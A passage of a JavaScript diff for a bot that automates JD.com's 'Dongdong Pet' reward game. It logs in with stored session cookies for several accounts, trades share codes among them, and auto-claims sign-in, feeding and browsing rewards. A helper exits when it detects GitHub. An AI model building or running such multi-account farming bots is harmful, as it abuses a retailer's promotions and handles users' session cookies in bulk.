process.env.CC_NOHELPAFTER8) { + console.log(NowHour); + if (process.env.CC_NOHELPAFTER8=="true"){ + if (NowHour>8){ + llhelp=false; + console.log(`现在是9点后时段,不启用互助....`); + } + } +} + +console.log(`共${cookiesArr.length}个京东账号\n`); + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + if (llhelp){ + console.log('开始收集您的互助码,用于账号内部互助,请稍等...'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue; + } + message = ''; + subTitle = ''; + goodsUrl = ''; + taskInfoKey = []; + option = {}; + await GetShareCode(); + } + } + console.log('\n互助码收集完毕,开始执行日常任务...\n'); + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue; + } + message = ''; + subTitle = ''; + goodsUrl = ''; + taskInfoKey = []; + option = {}; + await jdPet(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) +async function jdPet() { + try { + //查询jd宠物信息 + const initPetTownRes = await request('initPetTown'); + message = `【京东账号${$.index}】${$.nickName || $.UserName}\n`; + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + await slaveHelp(); //助力好友 + $.log($.name, '', `【提示】京东账号${$.index}${$.nickName || $.UserName}\n萌宠活动未开启\n请手动去京东APP开启活动\n入口:我的->游戏与互动->查看更多开启`); + return + } + if (!$.petInfo.goodsInfo) { + $.msg($.name, '', `【提示】京东账号${$.index}${$.nickName || $.UserName}\n暂未选购新的商品`, { + "open-url": "openapp.jdmoble://" + }); + if ($.isNode()) + await notify.sendNotify(`${$.name} - ${$.index} - ${$.nickName || $.UserName}`, `【提示】京东账号${$.index}${$.nickName || $.UserName}\n暂未选购新的商品`); + return + } + goodsUrl = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsUrl; + // option['media-url'] = goodsUrl; + // console.log(`初始化萌宠信息完成: ${JSON.stringify(petInfo)}`); + if ($.petInfo.petStatus === 5) { + await slaveHelp(); //可以兑换而没有去兑换,也能继续助力好友 + option['open-url'] = "openApp.jdMobile://"; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.petInfo.goodsInfo.goodsName}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.petInfo.goodsInfo.goodsName}已可领取`); + } + return + } else if ($.petInfo.petStatus === 6) { + await slaveHelp(); //已领取红包,但未领养新的,也能继续助力好友 + option['open-url'] = "openApp.jdMobile://"; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】已领取红包,但未继续领养新的物品\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n已领取红包,但未继续领养新的物品`); + } + return + } + //console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.petInfo.shareCode}\n`); + await taskInit(); + if ($.taskInit.resultCode === '9999' || !$.taskInit.result) { + console.log('初始化任务异常, 请稍后再试'); + return + } + $.taskInfo = $.taskInit.result; + + await petSport(); //遛弯 + if (llhelp){ + await slaveHelp(); //助力好友 + } + await masterHelpInit(); //获取助力的信息 + await doTask(); //做日常任务 + await feedPetsAgain(); //再次投食 + await energyCollect(); //收集好感度 + await showMsg(); + + } else if (initPetTownRes.code === '0') { + console.log(`初始化萌宠失败: ${initPetTownRes.message}`); + } + } catch (e) { + $.logErr(e) + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) + await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } +} + +async function GetShareCode() { + try { + //查询jd宠物信息 + const initPetTownRes = await request('initPetTown'); + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus == 0 || $.petInfo.petStatus == 5 || $.petInfo.petStatus == 6 || !$.petInfo.goodsInfo) { + console.log(`【京东账号${$.index}(${$.UserName})的互助码】\n宠物状态不能被助力,跳过...`); + return; + } + console.log(`【京东账号${$.index}(${$.UserName})的互助码】\n${$.petInfo.shareCode}`); + newShareCodes.push($.petInfo.shareCode); + } + } catch (e) { + $.logErr(e) + const errMsg = `【京东账号${$.index} ${$.nickName || $.UserName}】\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) + await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`); + } +} + +// 收取所有好感度 +async function energyCollect() { + console.log('开始收取任务奖励好感度'); + let function_id = arguments.callee.name.toString(); + const response = await request(function_id); + // console.log(`收取任务奖励好感度完成:${JSON.stringify(response)}`); + if (response.resultCode === '0') { + message += `【第${response.result.medalNum + 1}块勋章完成进度】${response.result.medalPercent}%,还需收集${response.result.needCollectEnergy}好感\n`; + message += `【已获得勋章】${response.result.medalNum}块,还需收集${response.result.needCollectMedalNum}块即可兑换奖品“${$.petInfo.goodsInfo.goodsName}”\n`; + } +} +//再次投食 +async function feedPetsAgain() { + const response = await request('initPetTown'); //再次初始化萌宠 + if (response.code === '0' && response.resultCode === '0' && response.message === 'success') { + $.petInfo = response.result; + let foodAmount = $.petInfo.foodAmount; //剩余狗粮 + if (foodAmount - 100 >= 10) { + for (let i = 0; i < parseInt((foodAmount - 100) / 10); i++) { + const feedPetRes = await request('feedPets'); + console.log(`投食feedPetRes`); + if (feedPetRes.resultCode == 0 && feedPetRes.code == 0) { + console.log('投食成功') + } + } + const response2 = await request('initPetTown'); + $.petInfo = response2.result; + subTitle = $.petInfo.goodsInfo.goodsName; + // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`; + // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`; + } else { + console.log("目前剩余狗粮:【" + foodAmount + "】g,不再继续投食,保留部分狗粮用于完成第二天任务"); + subTitle = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsName; + // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`; + // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`; + } + } else { + console.log(`初始化萌宠失败: ${JSON.stringify($.petInfo)}`); + } +} + +async function doTask() { + const { + signInit, + threeMealInit, + firstFeedInit, + feedReachInit, + inviteFriendsInit, + browseShopsInit, + taskList + } = $.taskInfo; + for (let item of taskList) { + if ($.taskInfo[item].finished) { + console.log(`任务 ${item} 已完成`) + } + } + //每日签到 + if (signInit && !signInit.finished) { + await signInitFun(); + } + // 首次喂食 + if (firstFeedInit && !firstFeedInit.finished) { + await firstFeedInitFun(); + } + // 三餐 + if (threeMealInit && !threeMealInit.finished) { + if (threeMealInit.timeRange === -1) { + console.log(`未到三餐时间`); + } else { + await threeMealInitFun(); + } + } + if (browseShopsInit && !browseShopsInit.finished) { + await browseShopsInitFun(); + } + let browseSingleShopInitList = []; + taskList.map((item) => { + if (item.indexOf('browseSingleShopInit') > -1) { + browseSingleShopInitList.push(item); + } + }); + // 去逛逛好货会场 + for (let item of browseSingleShopInitList) { + const browseSingleShopInitTask = $.taskInfo[item]; + if (browseSingleShopInitTask && !browseSingleShopInitTask.finished) { + await browseSingleShopInit(browseSingleShopInitTask); + } + } + if (inviteFriendsInit && !inviteFriendsInit.finished) { + await inviteFriendsInitFun(); + } + // 投食10次 + if (feedReachInit && !feedReachInit.finished) { + await feedReachInitFun(); + } +} +// 好友助力信息 +async function masterHelpInit() { + let res = await request(arguments.callee.name.toString()); + // console.log(`助力信息: ${JSON.stringify(res)}`); + if (res.code === '0' && res.resultCode === '0') { + if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length >= 5) { + if (!res.result.addedBonusFlag) { + console.log("开始领取额外奖励"); + let getHelpAddedBonusResult = await request('getHelpAddedBonus'); + if (getHelpAddedBonusResult.resultCode === '0') { + message += `【额外奖励${getHelpAddedBonusResult.result.reward}领取】${getHelpAddedBonusResult.message}\n`; + } + console.log(`领取30g额外奖励结果:【${getHelpAddedBonusResult.message}】`); + } else { + console.log("已经领取过5好友助力额外奖励"); + message += `【额外奖励】已领取\n`; + } + } else { + console.log("助力好友未达到5个") + message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`; + } + if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length > 0) { + console.log('帮您助力的好友的名单开始') + let str = ''; + res.result.masterHelpPeoples.map((item, index) => { + if (index === (res.result.masterHelpPeoples.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + }) + message += `【助力您的好友】${str}\n`; + } + } +} +/** + * 助力好友, 暂时支持一个好友, 需要拿到shareCode + * shareCode为你要助力的好友的 + * 运行脚本时你自己的shareCode会在控制台输出, 可以将其分享给他人 + */ +async function slaveHelp() { + let helpPeoples = ''; + for (let code of newShareCodes) { + if(NoNeedCodes){ + var llnoneed=false; + for (let NoNeedCode of NoNeedCodes) { + if (code==NoNeedCode){ + llnoneed=true; + break; + } + } + if(llnoneed){ + console.log(`${code}助力已满,跳过...`); + continue; + } + } + console.log(`开始助力京东账号${$.index} - ${$.nickName || $.UserName}的好友: ${code}`); + if (!code) + continue; + let response = await request(arguments.callee.name.toString(), { + 'shareCode': code + }); + if (response.code === '0' && response.resultCode === '0') { + if (response.result.helpStatus === 0) { + console.log('已给好友: 【' + response.result.masterNickName + '】助力成功'); + helpPeoples += response.result.masterNickName + ','; + } else if (response.result.helpStatus === 1) { + // 您今日已无助力机会 + console.log(`助力好友${response.result.masterNickName}失败,您今日已无助力机会`); + break; + } else if (response.result.helpStatus === 2) { + //该好友已满5人助力,无需您再次助力 + NoNeedCodes.push(code); + console.log(`该好友${response.result.masterNickName}已满5人助力,无需您再次助力`); + } else { + console.log(`助力其他情况:${JSON.stringify(response)}`); + } + } else { + if(response.message=="已经助过力"){ + console.log(`此账号今天已经跑过助力了,跳出....`); + break; + }else{ + console.log(`助力好友结果: ${response.message}`); + } + + } + } + if (helpPeoples && helpPeoples.length > 0) { + message += `【您助力的好友】${helpPeoples.substr(0, helpPeoples.length - 1)}\n`; + } +} +// 遛狗, 每天次数上限10次, 随机给狗粮, 每次遛狗结束需调用getSportReward领取奖励, 才能进行下一次遛狗 +async function petSport() { + console.log('开始遛弯'); + let times = 1 + const code = 0 + let resultCode = 0 + do { + let response = await request(arguments.callee.name.toString()) + console.log(`第${times}次遛狗完成: ${JSON.stringify(response)}`); + resultCode = response.resultCode; + if (resultCode == 0) { + let sportRevardResult = await request('getSportReward'); + console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`); + } + times++; + } while (resultCode == 0 && code == 0) + if (times > 1) { + // message += '【十次遛狗】已完成\n'; + } +} +// 初始化任务, 可查询任务完成情况 +async function taskInit() { + console.log('开始任务初始化'); + $.taskInit = await request(arguments.callee.name.toString(), { + "version": 1 + }); +} +// 每日签到, 每天一次 +async function signInitFun() { + console.log('准备每日签到'); + const response = await request("getSignReward"); + console.log(`每日签到结果: ${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + console.log(`【每日签到成功】奖励${response.result.signReward}g狗粮\n`); + // message += `【每日签到成功】奖励${response.result.signReward}g狗粮\n`; + } else { + console.log(`【每日签到】${response.message}\n`); + // message += `【每日签到】${response.message}\n`; + } +} + +// 三餐签到, 每天三段签到时间 +async function threeMealInitFun() { + console.log('准备三餐签到'); + const response = await request("getThreeMealReward"); + console.log(`三餐签到结果: ${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + console.log(`【定时领狗粮】获得${response.result.threeMealReward}g\n`); + // message += `【定时领狗粮】获得${response.result.threeMealReward}g\n`; + } else { + console.log(`【定时领狗粮】${response.message}\n`); + // message += `【定时领狗粮】${response.message}\n`; + } +} + +// 浏览指定店铺 任务 +async function browseSingleShopInit(item) { + console.log(`开始做 ${item.title} 任务, ${item.desc}`); + const body = { + "index": item['index'], + "version": 1, + "type": 1 + }; + const body2 = { + "index": item['index'], + "version": 1, + "type": 2 + }; + const response = await request("getSingleShopReward", body); + // console.log(`点击进去response::${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + const response2 = await request("getSingleShopReward", body2); + // console.log(`浏览完毕领取奖励:response2::${JSON.stringify(response2)}`); + if (response2.code === '0' && response2.resultCode === '0') { + console.log(`【浏览指定店铺】获取${response2.result.reward}g\n`); + // message += `【浏览指定店铺】获取${response2.result.reward}g\n`; + } + } +} + +// 浏览店铺任务, 任务可能为多个? 目前只有一个 +async function browseShopsInitFun() { + console.log('开始浏览店铺任务'); + let times = 0; + let resultCode = 0; + let code = 0; + do { + let response = await request("getBrowseShopsReward"); + console.log(`第${times}次浏览店铺结果: ${JSON.stringify(response)}`); + code = response.code; + resultCode = response.resultCode; + times++; + } while (resultCode == 0 && code == 0 && times < 5) + console.log('浏览店铺任务结束'); +} +// 首次投食 任务 +function firstFeedInitFun() { + console.log('首次投食任务合并到10次喂食任务中\n'); +} + +// 邀请新用户 +async function inviteFriendsInitFun() { + console.log('邀请新用户功能未实现'); + if ($.taskInfo.inviteFriendsInit.status == 1 && $.taskInfo.inviteFriendsInit.inviteFriendsNum > 0) { + // 如果有邀请过新用户,自动领取60gg奖励 + const res = await request('getInviteFriendsReward'); + if (res.code == 0 && res.resultCode == 0) { + console.log(`领取邀请新用户奖励成功,获得狗粮现有狗粮${$.taskInfo.inviteFriendsInit.reward}g,${res.result.foodAmount}g`); + message += `【邀请新用户】获取狗粮${$.taskInfo.inviteFriendsInit.reward}g\n`; + } + } +} + +/** + * 投食10次 任务 + */ +async function feedReachInitFun() { + console.log('投食任务开始...'); + let finishedTimes = $.taskInfo.feedReachInit.hadFeedAmount / 10; //已经喂养了几次 + let needFeedTimes = 10 - finishedTimes; //还需要几次 + let tryTimes = 20; //尝试次数 + do { + console.log(`还需要投食${needFeedTimes}次`); + const response = await request('feedPets'); + console.log(`本次投食结果: ${JSON.stringify(response)}`); + if (response.resultCode == 0 && response.code == 0) { + needFeedTimes--; + } + if (response.resultCode == 3003 && response.code == 0) { + console.log('剩余狗粮不足, 投食结束'); + needFeedTimes = 0; + } + tryTimes--; + } while (needFeedTimes > 0 && tryTimes > 0) + console.log('投食任务结束...\n'); +} +async function showMsg() { + if ($.isNode() && process.env.PET_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.PET_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdPetNotify')) { + $.ctrTemp = $.getdata('jdPetNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + // jdNotify = `${notify.petNotifyControl}` === 'false' && `${jdNotify}` === 'false' && $.getdata('jdPetNotify') === 'false'; + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0 && data.base && data.base.nickname) { + $.nickName = data.base.nickname; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} +// 请求 +async function request(function_id, body = {}) { + await $.wait(3000); //歇口气儿, 不然会报操作频繁 + return new Promise((resolve, reject) => { + $.post(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东萌宠: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data) + } + }) + }) +} +// function taskUrl(function_id, body = {}) { +// return { +// url: `${JD_API_HOST}?functionId=${function_id}&appid=wh5&loginWQBiz=pet-town&body=${escape(JSON.stringify(body))}`, +// headers: { +// Cookie: cookie, +// UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), +// } +// }; +// } +function taskUrl(function_id, body = {}) { + body["version"] = 2; + body["channel"] = 'app'; + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new 